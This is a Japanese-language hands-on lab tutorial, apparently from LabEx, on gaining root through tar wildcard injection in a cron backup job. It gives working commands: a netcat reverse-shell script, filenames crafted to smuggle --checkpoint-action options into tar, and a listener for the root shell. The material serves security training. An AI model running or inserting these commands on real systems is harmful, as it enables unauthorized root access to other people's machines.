はじめに
この実験では、Linux システムでの権限昇格に使用される手法であるワイルドカードインジェクションについて学びます。具体的には、広く使用されている tar コマンドにおけるワイルドカードインジェクションの原理を探り、crontab ユーティリティと組み合わせてこの脆弱性を利用して root 権限を取得する実践的な演習を行います。
ワイルドカードの理解
まず、ワイルドカードとは何か、および Linux シェルでどのように動作するかを理解しましょう。ワイルドカードは、ファイル名やパスのセットを表すか、またはそれらに一致させるために使用できる特殊文字または文字シーケンスです。
以下はいくつかの一般的なワイルドカードです。
*(アスタリスク)は、ファイル名またはパス内の任意の数の文字(0 文字を含む)に一致します。?(疑問符)は、任意の 1 文字に一致します。[](角括弧)は、括弧内に指定された文字セット内の任意の 1 文字に一致します。~(チルダ)は、現在のユーザーのホームディレクトリを表します。ユーザー名が続く場合は、別のユーザーのホームディレクトリを表します。
権限昇格の文脈では、* と - のワイルドカードが一般的に使用されます。まず、シェルが - 文字をどのように解釈するかを探ってみましょう。
ターミナルを開き、
/home/labex/projectディレクトリに移動します。cd /home/labex/project現在のディレクトリには
--helpという名前のファイルがあります。このファイルの内容をどのように表示できるかを考え、実験してみてください。cat --helpコマンドを使用すると、--helpファイルの内容を表示する代わりに、catコマンドのヘルプメッセージが表示されます。同様に、
vim --helpを使用すると、vimコマンドのヘルプメッセージが表示されます。これは、Linux シェルが
-をコマンド引数として解釈するためです。--helpファイルの内容を表示するには、ファイル名を-で始めないようにする必要があります。次のように使用できます。cat /home/labex/project/--helpこの方法では、シェルは
--helpを引数として解釈しないため、ファイルの内容を表示できます。次に、好きなエディタを使用して
--helpファイルの内容を変更しましょう。たとえば、nanoを使用できます。nano /home/labex/project/--help既存の内容を削除し、次のテキストをファイルに追加します。
I can read the filenano を保存して終了します。
このシェルの動作が、ワイルドカードインジェクションが利用するものです。
ワイルドカードインジェクションは、多くの場合 cron ジョブと組み合わせて使用されます。では、tar コマンドを含む実際の例を探ってみましょう。
Crontab Tar ワイルドカードインジェクション
ワイルドカードインジェクションがどのようにして権限昇格につながるかを理解するために、tar コマンドと crontab を使った実践的な演習を行います。
まず、次のコマンドを実行して実験環境を初期化しましょう。
/home/labex/projectディレクトリに移動します。cd /home/labex/projectセットアップスクリプトを実行して実験環境を初期化します。
./env_setup.sh初期化後、
user001ユーザーに切り替わります(最初のシェルアクセスを獲得した攻撃者をシミュレートしています)。次に、スケジュールされたタスクの crontab を確認しましょう。
cat /etc/crontab期待される出力:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *1 分ごとに実行されるタスクがあり、
/var/www/html/ディレクトリの内容を圧縮ファイル/var/backups/html.tgzにアーカイブすることがわかります。次に、
/var/www/htmlディレクトリ内のファイルを見てみましょう。ls /var/www/htmlワイルドカードインジェクションの脆弱性を利用するには、
/var/www/html/ディレクトリに以下の 3 つのファイルを作成する必要があります。まず、
/var/www/htmlディレクトリに移動します。cd /var/www/html/リバースシェルを実行する内容の
shell.shファイル:echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh--checkpoint-action=exec=sh shell.shという名前のファイル(ファイル名にスペースがあることに注意):echo "" > "--checkpoint-action=exec=sh shell.sh"--checkpoint=1という名前のファイル:echo "" > --checkpoint=1
これらのファイルを作成した後、
/var/www/html/ディレクトリは次のようになります。'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.shcron ジョブが次のコマンドを実行するとき:
tar -zcf /var/backups/html.tgz /var/www/html/*これは次のように解釈されます。
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.htmlここで、パラメータの意味を説明します。
--checkpointと--checkpoint-actionは通常一緒に使用されます。前者はチェックポイントを設定し、後者はチェックポイントに到達したときに実行するアクションを指定します。--checkpoint-action=exec=sh shell.shは、チェックポイントに到達したときにshell.shスクリプトが実行されることを意味します。
したがって、cron ジョブが実行されるたびに、
shell.shスクリプトが実行され、/bin/bashがローカルポート 4444 にリバースシェル接続します。現在のシェルでローカルポート 4444 でリスナーを設定しましょう。
nc -lnvp 4444しばらく待つと、cron ジョブが実行され、root 権限でリバースシェルを受け取るはずです。
期待される出力:
Listening on 0.0.0.0 4444 Connection received on 127.0.0.1 56226/rootディレクトリにsuccess.txtファイルを作成して、root 権限を持っていることを確認してみましょう。touch /root/success.txt何の権限エラーもなくファイルを作成できれば、ワイルドカードインジェクションを使って権限昇格に成功したことになります。
この tar + crontab を用いた権限昇格手法には 2 つの重要な制限があります。
htmlディレクトリには「その他」のユーザーに対する書き込み (w) 権限が必要です。そうすることで、そのディレクトリにshell.shなどのファイルを作成できます。crontab 内の
tarコマンドには絶対パスを含めないようにします。たとえば、crontab エントリが次のようになっている場合:* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*ワイルドカードインジェクションは失敗します。なぜなら、シェルはこのコマンドを次のように解釈するからです。
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.htmlこの場合、
/var/www/html/--checkpoint=1と/var/www/html/--checkpoint-action=exec=sh shell.shはtarコマンドの引数として解釈されず、インジェクションは失敗します。
まとめ
この実験では、Linux システムでの権限昇格に使用される手法であるワイルドカードインジェクションについて学びました。広く使用されている tar コマンドにおけるワイルドカードインジェクションの原理を探り、crontab ユーティリティと組み合わせてこの脆弱性を利用して root 権限を取得する実践的な演習を行いました。この実験を通じて、実際の権限昇格の脆弱性を理解し、悪用する実践的な経験を積むことができました。これは、セキュリティ専門家やシステム管理者にとって不可欠なスキルです。